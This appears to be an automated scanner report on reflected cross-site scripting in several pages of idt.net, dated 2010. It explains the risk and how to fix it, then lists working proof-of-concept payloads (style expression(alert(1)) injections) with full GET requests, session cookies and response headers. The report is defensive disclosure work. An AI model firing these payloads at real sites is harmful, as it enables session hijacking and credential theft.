Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the account request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89c13"style%3d"x%3aexpression(alert(1))"dd359fb86a7 was submitted in the account parameter. This input was echoed as 89c13"style="x:expression(alert(1))"dd359fb86a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the acType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2e00"style%3d"x%3aexpression(alert(1))"31522f4310f159bf3 was submitted in the acType parameter. This input was echoed as c2e00"style="x:expression(alert(1))"31522f4310f159bf3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the acType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 306c3"style%3d"x%3aexpression(alert(1))"8562af6699d was submitted in the acType parameter. This input was echoed as 306c3"style="x:expression(alert(1))"8562af6699d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /idt/account/signup.asp?acType=P306c3"style%3d"x%3aexpression(alert(1))"8562af6699d HTTP/1.1 Host: app1.idt.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: ASPSESSIONIDSQTAQADR=KENFLEKCDADMELDIINKKIPHI; ASPSESSIONIDQQSDSADQ=HENFLEKCKBLKBEEIIDBDLDKH; __utmz=8470378.1290097651.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=8470378.1377463210.1290097651.1290097651.1290097651.1; ac_user=D; __utmc=8470378; __utmb=8470378.6.10.1290097651;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 18 Nov 2010 16:32:37 GMT X-Powered-By: ASP.NET Connection: close Content-Length: 15933 Content-Type: text/html Cache-control: private
The value of the acType request parameter is copied into the name of an HTML tag attribute. The payload bb913%20style%3dx%3aexpression(alert(1))%207e28a0972ffc8fcef was submitted in the acType parameter. This input was echoed as bb913 style=x:expression(alert(1)) 7e28a0972ffc8fcef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the hidaction request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4fbd"style%3d"x%3aexpression(alert(1))"4de02737bd9 was submitted in the hidaction parameter. This input was echoed as a4fbd"style="x:expression(alert(1))"4de02737bd9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /business/conferencing/reservationless.asp?hidaction=mya4fbd"style%3d"x%3aexpression(alert(1))"4de02737bd9 HTTP/1.1 Host: idt.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: __utmz=8470378.1290097651.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=8470378.1377463210.1290097651.1290097651.1290097651.1; __utmc=8470378; __utmb=8470378.6.10.1290097651; ASP.NET_SessionId=qg2opk454ix10q452t51cx55; ASPSESSIONIDQCBDRSCR=NOOGKPIADEFPDKMOBOMKFANL;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 18 Nov 2010 16:55:05 GMT X-Powered-By: ASP.NET Connection: close Content-Length: 84777 Content-Type: text/html Cache-control: private
The value of the hidAction request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 882e9"style%3d"x%3aexpression(alert(1))"bc6a0d0c7eb was submitted in the hidAction parameter. This input was echoed as 882e9"style="x:expression(alert(1))"bc6a0d0c7eb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /personal/cards/gc/Default.asp?hidAction=online882e9"style%3d"x%3aexpression(alert(1))"bc6a0d0c7eb HTTP/1.1 Host: idt.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: __utmz=8470378.1290097651.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=8470378.1377463210.1290097651.1290097651.1290097651.1; __utmc=8470378; __utmb=8470378.6.10.1290097651; ASP.NET_SessionId=qg2opk454ix10q452t51cx55; ASPSESSIONIDQCBDRSCR=NOOGKPIADEFPDKMOBOMKFANL;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 18 Nov 2010 16:54:05 GMT X-Powered-By: ASP.NET Connection: close Content-Length: 78012 Content-Type: text/html Cache-control: private